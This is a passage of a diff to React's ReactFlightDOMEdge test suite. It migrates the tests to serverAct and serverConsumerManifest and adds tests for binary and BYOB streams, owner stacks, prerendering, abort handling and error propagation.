+    // ended up being deferred immediately when we called `renderToReadableStream` again
+    // i.e. `result2.syncText` became a Lazy element on the second request.
+    const longText = 'd'.repeat(MAX_ROW_SIZE);
+    const promisedText = Promise.resolve(longText);
+    const model = {syncText: <p>{longText}</p>, promisedText};
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(model),
+    );
+
+    const result = await ReactServerDOMClient.createFromReadableStream(stream, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+
+    const stream2 = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(model),
+    );
+
+    const result2 = await ReactServerDOMClient.createFromReadableStream(
+      stream2,
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    expect(result2.syncText).toEqual(result.syncText);
+  });
+
   it('should be able to serialize any kind of typed array', async () => {
     const buffer = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -417,11 +860,11 @@ describe('ReactFlightDOMEdge', () => {
       new BigUint64Array(buffer, 0),
       new DataView(buffer, 3),
     ];
-    const stream = passThrough(
-      ReactServerDOMServer.renderToReadableStream(buffers),
+    const stream = await serverAct(() =>
+      passThrough(ReactServerDOMServer.renderToReadableStream(buffers)),
     );
     const result = await ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -429,7 +872,6 @@ describe('ReactFlightDOMEdge', () => {
     expect(result).toEqual(buffers);
   });
 
-  // @gate enableBinaryFlight
   it('should be able to serialize a blob', async () => {
     const bytes = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -437,11 +879,11 @@ describe('ReactFlightDOMEdge', () => {
     const blob = new Blob([bytes, bytes], {
       type: 'application/x-test',
     });
-    const stream = passThrough(
-      ReactServerDOMServer.renderToReadableStream(blob),
+    const stream = await serverAct(() =>
+      passThrough(ReactServerDOMServer.renderToReadableStream(blob)),
     );
     const result = await ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -451,7 +893,6 @@ describe('ReactFlightDOMEdge', () => {
     expect(await result.arrayBuffer()).toEqual(await blob.arrayBuffer());
   });
 
-  // @gate enableBinaryFlight
   it('can transport FormData (blobs)', async () => {
     const bytes = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -467,11 +908,11 @@ describe('ReactFlightDOMEdge', () => {
     expect(formData.get('file') instanceof File).toBe(true);
     expect(formData.get('file').name).toBe('filename.test');
 
-    const stream = passThrough(
-      ReactServerDOMServer.renderToReadableStream(formData),
+    const stream = await serverAct(() =>
+      passThrough(ReactServerDOMServer.renderToReadableStream(formData)),
     );
     const result = await ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -498,15 +939,15 @@ describe('ReactFlightDOMEdge', () => {
     const map = new Map();
     map.set('value', awaitedValue);
 
-    const stream = passThrough(
-      ReactServerDOMServer.renderToReadableStream(map, webpackMap),
+    const stream = await serverAct(() =>
+      passThrough(ReactServerDOMServer.renderToReadableStream(map, webpackMap)),
     );
 
     // Parsing the root blocks because the module hasn't loaded yet
     const resultPromise = ReactServerDOMClient.createFromReadableStream(
       stream,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -521,7 +962,6 @@ describe('ReactFlightDOMEdge', () => {
     expect(result.get('value')).toBe('hello');
   });
 
-  // @gate enableFlightReadableStream
   it('can pass an async import to a ReadableStream while enqueuing in order', async () => {
     let resolve;
     const promise = new Promise(r => (resolve = r));
@@ -540,16 +980,18 @@ describe('ReactFlightDOMEdge', () => {
       },
     });
 
-    const stream = passThrough(
-      ReactServerDOMServer.renderToReadableStream(s, webpackMap),
+    const stream = await serverAct(() =>
+      passThrough(ReactServerDOMServer.renderToReadableStream(s, webpackMap)),
     );
 
-    const result = await ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
-        moduleMap: null,
-        moduleLoading: null,
-      },
-    });
+    const result = await serverAct(() =>
+      ReactServerDOMClient.createFromReadableStream(stream, {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      }),
+    );
 
     const reader = result.getReader();
 
@@ -564,7 +1006,6 @@ describe('ReactFlightDOMEdge', () => {
     expect(await reader.read()).toEqual({value: undefined, done: true});
   });
 
-  // @gate enableFlightReadableStream
   it('can pass an async import a AsyncIterable while allowing peaking at future values', async () => {
     let resolve;
     const promise = new Promise(r => (resolve = r));
@@ -580,20 +1021,24 @@ describe('ReactFlightDOMEdge', () => {
       },
     };
 
-    const stream = passThrough(
-      ReactServerDOMServer.renderToReadableStream(
-        multiShotIterable,
-        webpackMap,
+    const stream = await serverAct(() =>
+      passThrough(
+        ReactServerDOMServer.renderToReadableStream(
+          multiShotIterable,
+          webpackMap,
+        ),
       ),
     );
 
     // Parsing the root blocks because the module hasn't loaded yet
-    const result = await ReactServerDOMClient.createFromReadableStream(stream, {
-      ssrManifest: {
-        moduleMap: null,
-        moduleLoading: null,
-      },
-    });
+    const result = await serverAct(() =>
+      ReactServerDOMClient.createFromReadableStream(stream, {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      }),
+    );
 
     const iterator = result[Symbol.asyncIterator]();
 
@@ -612,7 +1057,6 @@ describe('ReactFlightDOMEdge', () => {
     expect(await iterator.next()).toEqual({value: undefined, done: true});
   });
 
-  // @gate enableFlightReadableStream
   it('should ideally dedupe objects inside async iterables but does not yet', async () => {
     const obj = {
       this: {is: 'a large objected'},
@@ -626,9 +1070,11 @@ describe('ReactFlightDOMEdge', () => {
       },
     };
 
-    const stream = ReactServerDOMServer.renderToReadableStream({
-      iterable,
-    });
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream({
+        iterable,
+      }),
+    );
     const [stream1, stream2] = passThrough(stream).tee();
 
     const serializedContent = await readResult(stream1);
@@ -640,7 +1086,7 @@ describe('ReactFlightDOMEdge', () => {
     const result = await ReactServerDOMClient.createFromReadableStream(
       stream2,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -673,22 +1119,17 @@ describe('ReactFlightDOMEdge', () => {
       ),
     };
 
-    expect(() => {
-      ServerModule.greet.bind({}, 'hi');
-    }).toErrorDev(
+    ServerModule.greet.bind({}, 'hi');
+    assertConsoleErrorDev([
       'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
-      {withoutStack: true},
-    );
+    ]);
 
-    expect(() => {
-      ServerModuleImportedOnClient.greet.bind({}, 'hi');
-    }).toErrorDev(
+    ServerModuleImportedOnClient.greet.bind({}, 'hi');
+    assertConsoleErrorDev([
       'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
-      {withoutStack: true},
-    );
+    ]);
   });
 
-  // @gate enableFlightReadableStream && enableBinaryFlight
   it('should supports ReadableStreams with typed arrays', async () => {
     const buffer = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -719,14 +1160,16 @@ describe('ReactFlightDOMEdge', () => {
       },
     });
 
-    const stream = ReactServerDOMServer.renderToReadableStream(s, {});
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(s, {}),
+    );
 
     const [stream1, stream2] = passThrough(stream).tee();
 
     const result = await ReactServerDOMClient.createFromReadableStream(
       stream1,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -745,45 +1188,142 @@ describe('ReactFlightDOMEdge', () => {
     expect(streamedBuffers).toEqual(buffers);
   });
 
-  // @gate enableFlightReadableStream && enableBinaryFlight
-  it('should support BYOB binary ReadableStreams', async () => {
-    const buffer = new Uint8Array([
-      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
-    ]).buffer;
-    const buffers = [
-      new Int8Array(buffer, 1),
-      new Uint8Array(buffer, 2),
-      new Uint8ClampedArray(buffer, 2),
-      new Int16Array(buffer, 2),
-      new Uint16Array(buffer, 2),
-      new Int32Array(buffer, 4),
-      new Uint32Array(buffer, 4),
-      new Float32Array(buffer, 4),
-      new Float64Array(buffer, 0),
-      new BigInt64Array(buffer, 0),
-      new BigUint64Array(buffer, 0),
-      new DataView(buffer, 3),
-    ];
+  it('should support binary ReadableStreams', async () => {
+    const encoder = new TextEncoder();
+    const words = ['Hello', 'streaming', 'world'];
 
-    // This a binary stream where each chunk ends up as Uint8Array.
-    const s = new ReadableStream({
+    const stream = new ReadableStream({
       type: 'bytes',
-      start(c) {
-        for (let i = 0; i < buffers.length; i++) {
-          c.enqueue(buffers[i]);
+      async start(controller) {
+        for (let i = 0; i < words.length; i++) {
+          const chunk = encoder.encode(words[i] + ' ');
+          controller.enqueue(chunk);
         }
-        c.close();
+        controller.close();
       },
     });
 
-    const stream = ReactServerDOMServer.renderToReadableStream(s, {});
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(stream, {}),
+    );
+
+    const result = await ReactServerDOMClient.createFromReadableStream(
+      rscStream,
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    const reader = result.getReader();
+    const decoder = new TextDecoder();
+
+    let text = '';
+    let entry;
+    while (!(entry = await reader.read()).done) {
+      text += decoder.decode(entry.value);
+    }
+
+    expect(text).toBe('Hello streaming world ');
+  });
+
+  it('should support large binary ReadableStreams', async () => {
+    const chunkCount = 100;
+    const chunkSize = 1024;
+    const expectedBytes = [];
+
+    const stream = new ReadableStream({
+      type: 'bytes',
+      start(controller) {
+        for (let i = 0; i < chunkCount; i++) {
+          const chunk = new Uint8Array(chunkSize);
+          for (let j = 0; j < chunkSize; j++) {
+            chunk[j] = (i + j) % 256;
+          }
+          expectedBytes.push(...Array.from(chunk));
+          controller.enqueue(chunk);
+        }
+        controller.close();
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(stream, {}),
+    );
+
+    const result = await ReactServerDOMClient.createFromReadableStream(
+      // Use passThrough to split and rejoin chunks at arbitrary boundaries.
+      passThrough(rscStream),
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    const reader = result.getReader();
+    const receivedBytes = [];
+    let entry;
+    while (!(entry = await reader.read()).done) {
+      expect(entry.value instanceof Uint8Array).toBe(true);
+      receivedBytes.push(...Array.from(entry.value));
+    }
+
+    expect(receivedBytes).toEqual(expectedBytes);
+  });
+
+  it('should support BYOB binary ReadableStreams', async () => {
+    const sourceBytes = [
+      123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
+    ];
+
+    // Create separate buffers for each typed array to avoid ArrayBuffer
+    // transfer issues. Each view needs its own buffer because enqueue()
+    // transfers ownership.
+    const buffers = [
+      new Int8Array(sourceBytes.slice(1)),
+      new Uint8Array(sourceBytes.slice(2)),
+      new Uint8ClampedArray(sourceBytes.slice(2)),
+      new Int16Array(new Uint8Array(sourceBytes.slice(2)).buffer),
+      new Uint16Array(new Uint8Array(sourceBytes.slice(2)).buffer),
+      new Int32Array(new Uint8Array(sourceBytes.slice(4)).buffer),
+      new Uint32Array(new Uint8Array(sourceBytes.slice(4)).buffer),
+      new Float32Array(new Uint8Array(sourceBytes.slice(4)).buffer),
+      new Float64Array(new Uint8Array(sourceBytes.slice(0)).buffer),
+      new BigInt64Array(new Uint8Array(sourceBytes.slice(0)).buffer),
+      new BigUint64Array(new Uint8Array(sourceBytes.slice(0)).buffer),
+      new DataView(new Uint8Array(sourceBytes.slice(3)).buffer),
+    ];
+
+    // Save expected bytes before enqueueing (which will detach the buffers).
+    const expectedBytes = buffers.flatMap(c =>
+      Array.from(new Uint8Array(c.buffer, c.byteOffset, c.byteLength)),
+    );
+
+    // This a binary stream where each chunk ends up as Uint8Array.
+    const s = new ReadableStream({
+      type: 'bytes',
+      start(c) {
+        for (let i = 0; i < buffers.length; i++) {
+          c.enqueue(buffers[i]);
+        }
+        c.close();
+      },
+    });
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(s, {}),
+    );
 
     const [stream1, stream2] = passThrough(stream).tee();
 
     const result = await ReactServerDOMClient.createFromReadableStream(
       stream1,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -802,13 +1342,10 @@ describe('ReactFlightDOMEdge', () => {
 
     // The streamed buffers might be in different chunks and in Uint8Array form but
     // the concatenated bytes should be the same.
-    expect(streamedBuffers.flatMap(t => Array.from(t))).toEqual(
-      buffers.flatMap(c =>
-        Array.from(new Uint8Array(c.buffer, c.byteOffset, c.byteLength)),
-      ),
-    );
+    expect(streamedBuffers.flatMap(t => Array.from(t))).toEqual(expectedBytes);
   });
 
+  // @gate !__DEV__ || enableComponentPerformanceTrack
   it('supports async server component debug info as the element owner in DEV', async () => {
     function Container({children}) {
       return children;
@@ -832,23 +1369,21 @@ describe('ReactFlightDOMEdge', () => {
       greeting: ReactServer.createElement(Greeting, {firstName: 'Seb'}),
     };
 
-    const stream = ReactServerDOMServer.renderToReadableStream(
-      model,
-      webpackMap,
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(model, webpackMap),
     );
 
-    const rootModel = await ReactServerDOMClient.createFromReadableStream(
-      stream,
-      {
-        ssrManifest: {
+    const rootModel = await serverAct(() =>
+      ReactServerDOMClient.createFromReadableStream(stream, {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
-      },
+      }),
     );
 
-    const ssrStream = await ReactDOMServer.renderToReadableStream(
-      rootModel.greeting,
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(rootModel.greeting),
     );
     const result = await readResult(ssrStream);
     expect(result).toEqual('<span>Hello, Seb</span>');
@@ -863,24 +1398,1009 @@ describe('ReactFlightDOMEdge', () => {
       const greetInfo = expect.objectContaining({
         name: 'Greeting',
         env: 'Server',
-        owner: null,
       });
-      expect(lazyWrapper._debugInfo).toEqual([
-        greetInfo,
-        expect.objectContaining({
-          name: 'Container',
-          env: 'Server',
-          owner: greetInfo,
-        }),
-      ]);
+      if (gate(flags => flags.enableAsyncDebugInfo)) {
+        expect(greeting._debugInfo).toEqual([
+          {time: 12},
+          greetInfo,
+          {time: 13},
+          expect.objectContaining({
+            name: 'Container',
+            env: 'Server',
+            owner: greetInfo,
+          }),
+          {time: 14},
+        ]);
+      }
       // The owner that created the span was the outer server component.
       // We expect the debug info to be referentially equal to the owner.
-      expect(greeting._owner).toBe(lazyWrapper._debugInfo[0]);
+      expect(greeting._owner).toBe(greeting._debugInfo[1]);
     } else {
       expect(lazyWrapper._debugInfo).toBe(undefined);
-      expect(greeting._owner).toBe(
-        gate(flags => flags.disableStringRefs) ? undefined : null,
+      expect(greeting._owner).toBe(undefined);
+    }
+  });
+
+  // @gate __DEV__
+  it('can get the component owner stacks asynchronously', async () => {
+    let stack;
+
+    function Foo() {
+      return ReactServer.createElement(Bar, null);
+    }
+    function Bar() {
+      return ReactServer.createElement(
+        'div',
+        null,
+        ReactServer.createElement(Baz, null),
+      );
+    }
+
+    const promise = Promise.resolve(0);
+
+    async function Baz() {
+      await promise;
+      stack = ReactServer.captureOwnerStack();
+      return ReactServer.createElement('span', null, 'hi');
+    }
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        ReactServer.createElement(
+          'div',
+          null,
+          ReactServer.createElement(Foo, null),
+        ),
+        webpackMap,
+      ),
+    );
+    await readResult(stream);
+
+    expect(normalizeCodeLocInfo(stack)).toBe(
+      '\n    in Bar (at **)' + '\n    in Foo (at **)',
+    );
+  });
+
+  it('supports server components in ssr component stacks', async () => {
+    let reject;
+    const promise = new Promise((_, r) => (reject = r));
+    async function Erroring() {
+      await promise;
+      return 'should not render';
+    }
+
+    const model = {
+      root: ReactServer.createElement(Erroring),
+    };
+
+    const stream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(model, webpackMap, {
+        onError() {},
+      }),
+    );
+
+    const rootModel = await serverAct(() =>
+      ReactServerDOMClient.createFromReadableStream(stream, {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      }),
+    );
+
+    const errors = [];
+    const result = serverAct(() =>
+      ReactDOMServer.renderToReadableStream(<div>{rootModel.root}</div>, {
+        onError(error, {componentStack}) {
+          errors.push({
+            error,
+            componentStack: normalizeCodeLocInfo(componentStack),
+          });
+        },
+      }),
+    );
+
+    const theError = new Error('my error');
+    reject(theError);
+
+    const expectedMessage = __DEV__
+      ? 'my error'
+      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';
+
+    try {
+      await result;
+    } catch (x) {
+      expect(x).toEqual(
+        expect.objectContaining({
+          message: expectedMessage,
+        }),
+      );
+    }
+
+    expect(errors).toEqual([
+      {
+        error: expect.objectContaining({
+          message: expectedMessage,
+        }),
+        componentStack: (__DEV__ ? '\n    in Erroring' : '') + '\n    in div',
+      },
+    ]);
+  });
+
+  it('can prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Greeting />
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          <App />,
+          webpackMap,
+        ),
+      };
+    });
+
+    resolveGreeting();
+    const {prelude} = await pendingResult;
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+    // Use the SSR render to resolve any lazy elements
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(
+        React.createElement(ClientRoot, {response}),
+      ),
+    );
+    // Should still match the result when parsed
+    const result = await readResult(ssrStream);
+    expect(result).toBe('<div>hello world</div>');
+  });
+
+  it('does not propagate abort reasons errors when aborting a prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <ReactServer.Suspense fallback="loading...">
+            <Greeting />
+          </ReactServer.Suspense>
+        </div>
       );
     }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const controller = new AbortController();
+    const errors = [];
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          <App />,
+          webpackMap,
+          {
+            signal: controller.signal,
+            onError(err) {
+              errors.push(err);
+            },
+          },
+        ),
+      };
+    });
+
+    await serverAct(() => {
+      controller.abort('boom');
+    });
+    resolveGreeting();
+    const {prelude} = await pendingResult;
+
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+    const fizzController = new AbortController();
+    errors.length = 0;
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(
+        React.createElement(ClientRoot, {response}),
+        {
+          signal: fizzController.signal,
+          onError(error) {
+            errors.push(error);
+          },
+        },
+      ),
+    );
+    fizzController.abort('bam');
+    expect(errors).toEqual([new Error('Connection closed.')]);
+    // Should still match the result when parsed
+    const result = await readResult(ssrStream);
+    const div = document.createElement('div');
+    div.innerHTML = result;
+    expect(div.textContent).toBe('loading...');
+  });
+
+  it('should abort parsing an incomplete prerender payload', async () => {
+    const infinitePromise = new Promise(() => {});
+    const controller = new AbortController();
+    const errors = [];
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          {promise: infinitePromise},
+          webpackMap,
+          {
+            signal: controller.signal,
+            onError(err) {
+              errors.push(err);
+            },
+          },
+        ),
+      };
+    });
+
+    controller.abort();
+    const {prelude} = await serverAct(() => pendingResult);
+
+    expect(errors).toEqual([]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    // Wait for the stream to finish and therefore abort before we try to .then the response.
+    await 0;
+
+    const result = await response;
+
+    let error = null;
+    try {
+      await result.promise;
+    } catch (x) {
+      error = x;
+    }
+    expect(error).not.toBe(null);
+    expect(error.message).toBe('Connection closed.');
+  });
+
+  it('should be able to handle a rejected promise in prerender', async () => {
+    const expectedError = new Error('Bam!');
+    const errors = [];
+
+    const {prelude} = await ReactServerDOMStaticServer.prerender(
+      Promise.reject(expectedError),
+      webpackMap,
+      {
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    expect(errors).toEqual([expectedError]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    let error = null;
+    try {
+      await response;
+    } catch (x) {
+      error = x;
+    }
+
+    const expectedMessage = __DEV__
+      ? expectedError.message
+      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';
+
+    expect(error).not.toBe(null);
+    expect(error.message).toBe(expectedMessage);
+  });
+
+  it('should be able to handle an erroring async iterable in prerender', async () => {
+    const expectedError = new Error('Bam!');
+    const errors = [];
+
+    const {prelude} = await ReactServerDOMStaticServer.prerender(
+      {
+        async *[Symbol.asyncIterator]() {
+          await serverAct(() => {
+            throw expectedError;
+          });
+        },
+      },
+      webpackMap,
+      {
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    expect(errors).toEqual([expectedError]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    let error = null;
+    try {
+      const result = await response;
+      const iterator = result[Symbol.asyncIterator]();
+      await iterator.next();
+    } catch (x) {
+      error = x;
+    }
+
+    const expectedMessage = __DEV__
+      ? expectedError.message
+      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';
+
+    expect(error).not.toBe(null);
+    expect(error.message).toBe(expectedMessage);
+  });
+
+  it('should be able to handle an erroring readable stream in prerender', async () => {
+    const expectedError = new Error('Bam!');
+    const errors = [];
+
+    const {prelude} = await ReactServerDOMStaticServer.prerender(
+      new ReadableStream({
+        async start(controller) {
+          await serverAct(() => {
+            setTimeout(() => {
+              controller.error(expectedError);
+            });
+          });
+        },
+      }),
+      webpackMap,
+      {
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    expect(errors).toEqual([expectedError]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    let error = null;
+    try {
+      const stream = await response;
+      await stream.getReader().read();
+    } catch (x) {
+      error = x;
+    }
+
+    const expectedMessage = __DEV__
+      ? expectedError.message
+      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';
+
+    expect(error).not.toBe(null);
+    expect(error.message).toBe(expectedMessage);
+  });
+
+  it('can prerender an async iterable', async () => {
+    const errors = [];
+
+    const {prelude} = await ReactServerDOMStaticServer.prerender(
+      {
+        async *[Symbol.asyncIterator]() {
+          yield 'hello';
+          yield ' ';
+          yield 'world';
+        },
+      },
+      webpackMap,
+      {
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    expect(errors).toEqual([]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    let text = '';
+    const result = await response;
+    const iterator = result[Symbol.asyncIterator]();
+
+    while (true) {
+      const {done, value} = await iterator.next();
+      if (done) {
+        break;
+      }
+      text += value;
+    }
+
+    expect(text).toBe('hello world');
+  });
+
+  it('can prerender a readable stream', async () => {
+    const errors = [];
+
+    const {prelude} = await ReactServerDOMStaticServer.prerender(
+      new ReadableStream({
+        start(controller) {
+          controller.enqueue('hello world');
+          controller.close();
+        },
+      }),
+      webpackMap,
+      {
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    expect(errors).toEqual([]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    const stream = await response;
+    const result = await readResult(stream);
+
+    expect(result).toBe('hello world');
+  });
+
+  it('does not return a prerender prelude early when an error is emitted and there are still pending tasks', async () => {
+    let rejectPromise;
+    const rejectingPromise = new Promise(
+      (resolve, reject) => (rejectPromise = reject),
+    );
+    const expectedError = new Error('Boom!');
+    const errors = [];
+
+    const {prelude} = await ReactServerDOMStaticServer.prerender(
+      [
+        rejectingPromise,
+        {
+          async *[Symbol.asyncIterator]() {
+            yield 'hello';
+            yield ' ';
+            await serverAct(() => {
+              rejectPromise(expectedError);
+            });
+            yield 'world';
+          },
+        },
+      ],
+      webpackMap,
+      {
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    expect(errors).toEqual([expectedError]);
+
+    const response = ReactServerDOMClient.createFromReadableStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+    });
+
+    let text = '';
+    const [promise, iterable] = await response;
+    const iterator = iterable[Symbol.asyncIterator]();
+
+    while (true) {
+      const {done, value} = await iterator.next();
+      if (done) {
+        break;
+      }
+      text += value;
+    }
+
+    expect(text).toBe('hello world');
+
+    let error = null;
+    try {
+      await promise;
+    } catch (x) {
+      error = x;
+    }
+
+    const expectedMessage = __DEV__
+      ? expectedError.message
+      : 'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.';
+
+    expect(error).not.toBe(null);
+    expect(error.message).toBe(expectedMessage);
+  });
+
+  it('does not include source locations in component stacks for halted components', async () => {
+    // We only support adding source locations for halted components in the Node.js builds.
+
+    async function Component() {
+      await new Promise(() => {});
+      return null;
+    }
+
+    function App() {
+      return ReactServer.createElement(
+        'html',
+        null,
+        ReactServer.createElement(
+          'body',
+          null,
+          ReactServer.createElement(
+            ReactServer.Suspense,
+            {fallback: 'Loading...'},
+            ReactServer.createElement(Component, null),
+          ),
+        ),
+      );
+    }
+
+    const serverAbortController = new AbortController();
+    const errors = [];
+    const prerenderResult = ReactServerDOMStaticServer.prerender(
+      ReactServer.createElement(App, null),
+      webpackMap,
+      {
+        signal: serverAbortController.signal,
+        onError(err) {
+          errors.push(err);
+        },
+      },
+    );
+
+    await new Promise(resolve => {
+      setImmediate(() => {
+        serverAbortController.abort();
+        resolve();
+      });
+    });
+
+    const {prelude} = await prerenderResult;
+
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const prerenderResponse = ReactServerDOMClient.createFromReadableStream(
+      await createBufferedUnclosingStream(prelude),
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    let componentStack;
+    let ownerStack;
+
+    const clientAbortController = new AbortController();
+
+    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(
+      React.createElement(ClientRoot, {response: prerenderResponse}),
+      {
+        signal: clientAbortController.signal,
+        onError(error, errorInfo) {
+          componentStack = errorInfo.componentStack;
+          ownerStack = React.captureOwnerStack
+            ? React.captureOwnerStack()
+            : null;
+        },
+      },
+    );
+
+    await new Promise(resolve => {
+      setImmediate(() => {
+        clientAbortController.abort();
+        resolve();
+      });
+    });
+
+    const fizzPrerenderStream = await fizzPrerenderStreamResult;
+    const prerenderHTML = await readResult(fizzPrerenderStream.prelude);
+
+    expect(prerenderHTML).toContain('Loading...');
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n    in Component\n' +
+          '    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in App (at **)\n' +
+          '    in ClientRoot (at **)',
+      );
+    } else {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in ClientRoot (at **)',
+      );
+    }
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+    } else {
+      expect(ownerStack).toBeNull();
+    }
+  });
+
+  it('can pass an async import that resolves later as a prop to a null component', async () => {
+    let resolveClientComponentChunk;
+    const client = clientExports(
+      {
+        foo: 'bar',
+      },
+      '42',
+      '/test.js',
+      new Promise(resolve => (resolveClientComponentChunk = resolve)),
+    );
+
